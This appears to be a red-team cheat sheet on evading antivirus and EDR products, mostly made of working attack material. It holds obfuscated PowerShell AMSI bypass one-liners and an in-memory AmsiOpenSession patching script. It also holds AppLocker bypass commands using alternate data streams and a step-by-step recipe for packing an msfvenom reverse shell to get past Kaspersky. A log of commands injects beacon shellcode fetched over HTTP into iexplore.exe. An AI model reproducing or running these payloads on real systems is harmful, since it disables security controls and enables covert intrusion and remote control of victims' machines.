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AV Bypass

Practical

C2

Packer

Memory injection

  • SharpBlock
    • inject shellcode directly into memory
    • bypass ETW and Process Hollowing detection
    • Bypass specific AV and ERD dll

Not distributed to online AV

AMSI Bypass

one line

sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

set-item('V'+'aR'+'IA'+'blE:1q2'+'uZx')([TYpE]("{1}{0}"-F'F','rE'));(GeT-VariaBle("1Q2U"+"zX")-VaL)."A`ss`Embly"."GET`TY`Pe"(("{6}{3}{1}{4}{2}{0}{5}"-f'Util','A','Amsi','.Management.','utomation.','s','System'))."g`etf`iElD"(("{0}{2}{1}"-f'amsi','d','InitFaile'),("{2}{4}{0}{1}{3}"-f'Stat','i','NonPubli','c','c,'))."sE`T`VaLUE"(${n`ULl},${t`RuE})

$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

script (can be copied pasted directly into powershell console)

function LookupFunc {
  Param ($moduleName, $functionName)

  $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
  Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
    Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
  $tmp=@()
  $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
  return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,  @($moduleName)), $functionName))
}

function getDelegateType {
  Param (
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, [Parameter(Position = 1)] [Type] $delType = [Void]
  )
  $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
      SetImplementationFlags('Runtime, Managed')
  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
      SetImplementationFlags('Runtime, Managed')

    return $type.CreateType()
}
[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)

$buf = [Byte[]] (0x48, 0x31, 0xC0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)
$vp.Invoke($funcAddr, 3, 0x20, [ref]$oldProtectionBuffer)

Applocker whitelist bypass

  • LOLBAS
  • Copy binary to trusted folders
  • dll acceschk c:/windows
type js.js > "C:\<target_file>.log:js.js"
dir /r "<target_file>.log
wscript  "C:\<target_file>.log:js.js"
  • Alternate Data Stream
type js.js > "C:\<target_file>.log:js.js"
dir /r "<target_file>.log
wscript  "C:\<target_file>.log:js.js"
  • Third part execution

Using Python, Perl, etc.

Full PoC against Kasp

Winning combo : SharpBlock + PEzor (bypass Kasp for the moment..)

  1. Compile SharpBlock from source (using VStudio). It generates a file : SharpBlock.exe
  2. Generate shellcode in raw format (here is an exemple for msf) :

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<HANDLER_IP> LHOST=<HANDLER_PORT> -f raw -o <SHELLCODE_NAME>.bin
3. Repack shellcode
./PEzor.sh -unhook -rx -sleep=150 <SHELLCODE_NAME>.bin
4. Repack SharpBlock adding arguments - HTTP webserver version :
./PEzor.sh -unhook -antidebug -text -rx -sleep=150 <SharpBlock.exe> -p '-e http://<IP_WEBSERVER>/<SHELLCODE_NAME>.bin.packed.exe -s "C:\Windows\System32\SecurityHealthSystray.exe"'

  1. Setup your launcher (and webserver), and execute the packed binary file from the target

  2. Be patient (around 5min depending on the sleep argument set), get your shell and enjoy :)


Offline testing

For testing using a Windows VM connecting to an offline C2 : 1. Create a Windows VM and install the target AV. 2. Create a Linux VM and install a C2. 3. Set up the network interface to Host-Only for all VMs (Target(s) and C2). 4. Test your payloads and enjoy your shells :)

You may want to use snapshots and/or linked clones after your infrastructure is ready so that you can trash your Windows VM after each test and pop a new one.


Online testing

For testing using a Windows VM connecting to an online C2 :

Context

  • Restrict Windows VM network
  • No trust in the Windows VM firewall
  • No need to alter the host firewall

To restrict the Windows VM traffic to the C2 server only (we don't want our payloads to get sent to the AV cloud), we will create a new Linux VM and use is as a router/firewall.

Setup

  1. Create a Windows VM and install the target AV.
  2. Set up the network interface to Host-Only.
  3. Create a Linux VM with 2 network interfaces (NAT and Host-only).
  4. Enable ip forwarding : echo "net.ipv4.forwarding=1">>/etc/sysctl.conf
  5. Setup the firewall as following :
    #!/bin/bash
    WANIF=enp0s3
    LANIF=enp0s8
    # IPs to allow
    IP_ALLOWED=<IP_adress_to_allow>
    echo "flushing iptables..."
    sudo iptables -F
    sudo iptables -X
    sudo iptables -t nat -F
    sudo iptables -t nat -X
    sudo iptables -t mangle -F
    sudo iptables -t mangle -X
    # allow ssh on vm
    sudo iptables -A INPUT -i $LANIF -p tcp --dport 22 -j ACCEPT
    # masquerade
    sudo iptables -A POSTROUTING -t nat -o $WANIF -j MASQUERADE
    sudo iptables -A FORWARD -i $WANIF -m state --state ESTABLISHED,RELATED -j ACCEPT
    # Allow ping on target
    sudo iptables -A FORWARD -i $LANIF -p icmp -d $IP_ALLOWED -j ACCEPT
    # Allow <LISTENER_PORT> on target
    sudo iptables -A FORWARD -i $LANIF -p tcp --dport <LISTENER_PORT> -d $IP_ALLOWED -j ACCEPT
    # Drop the rest
    sudo iptables -P INPUT DROP
    sudo iptables -P FORWARD DROP
    sudo iptables -P OUTPUT DROP
    
  6. make it persistent at each restart :
    sudo apt install iptables-persistent && sudo iptables-save -c > /etc/iptables/rules.v4
    
  7. Configure the Windows VM (Host-Only network interface) to use the linux VM as his gateway (set static IP address).
  8. For DNS you can add the association into the file : C:\Windows\System32\drivers\etc\hosts
  9. Test your payloads and enjoy your shells !

Automated testing

CI Pipeline

todo


VisualStudio compiler

Compiler location

C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\bin\Hostx64\x64\Src

Fix Pezor

Fixed by author. check : Inline syscall old version


Vrac commands

for i in `cat /tmp/default_users_for_services_unhash.txt` ; do /opt/vpn_connect -u $i -p a -l /tmp/$i;done

copy \\192.168.56.200\tiki\processinjectionn.zip C:\Users\wee\
copy C:\Users\wee\processinjectionn\ProcessInjection\ProcessInjection\bin\Debug\ProcessInjection.exe \\192.168.56.200\tiki\

ProcessInjection.exe.packed.exe /f:raw /url:http://192.168.56.200:9000/procinj /ppath:C:\program files\internet explorer\iexplore.exe /pid:7368 /t:4
ProcessInjection.exe /f:raw /url:http://192.168.56.200:9000/procinj /ppath:C:\program files\internet explorer\iexplore.exe /pid:7368 /t:4
ProcessInjection.exe /f:raw /url:http://192.168.56.200:9000/procinj /ppath:"C:\program files\internet explorer\iexplore.exe" /pid:4928 /t:3
ProcessInjection.exe /f:raw /url:http://192.168.56.200:9000/longhaul/longhaul_beacon/beacon64.bin.sgn /ppath:"C:\program files\internet explorer\iexplore.exe" /t:3

cd "C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\bin\Hostx64\x64>"
copy Bin\wraith_x64_encoded.bin \\192.168.56.200\tiki\

Theorical

Every file has a score that gets involved in triggering one of the three different states (which can change during the scanning process) :

  • good (autorise)
  • bad (block and alert)
  • unknown (block, autorise, monitor, and/or scary prompt, depending on the AV)

Static analysis

1. Rule-based

Content in the binary that matchs analyst definition of known bad :

  • obfuscate functions and string from offense code
  • obfuscate base64 encoded dll or shellcode
  • change decryption key
  • dynamic resolv GetProcAddress, GetModuleGandler

2. Heuristics

Properties of the binary to find suspicious things :

  • compile time
  • compiler (Windows => good or Linux => not good for WinDef)
  • import table
  • metadata resources (name, icon, absence of this)
  • signed or not
  • entropy
  • take metadata from existing program
  • import table shellcode injection

3. Correlation

  • append known good program to get good score
  • reduce entropy (not all packed)

Dynamic analysis

1. Local Sandbox : emulated memory (~ 3sec)

  • short time (3sec only)
  • incomplete emulation (CPU only)

2. Cloud VM (~ 1min)

  • cheks metadata (sha256 or any ioc from previous analysis)
  • more complete emulation

IN memory detection evasion

payload exe => reflective dll => payload dll

Thread Start Address (DLL are memory-mapped files)

  • Depends on artifact or Process Injection routine that ran the payload

Memory permissions

  • Avoid RWX permissions (RW => RX)
  • Avoid stagers (use stageless payloads)
  • Avoid module-less threads (CreateThread)
  • module stamping (persistence)

Memory content

  • signs or a PE file
  • strings associated with toolset or common techniques
  • image_size, prepend, obfuscate, cleanup, strrep, sleep_mask (Cobalt)

Behaviour

  • avoid writting a file to disk
  • spoof parent PID when executing a program
  • injecting into process (!)

Process context to avoid (parent, child):

  • explorer.exe, notepad.exe, powershell.exe, rundll32.exe, svchost.exe
  • commonly abused applications
  • different arch (x32 or x64)

Bypass sandbox detonation (VM)

  1. detect sandbox
  2. env keying

Whitelised program :

  • MS Office Macro
  • Powershell
  • LOLbins
  • DLL SIdeloading

Network Sockets

Cobalt Strike: Weaponization

Wraith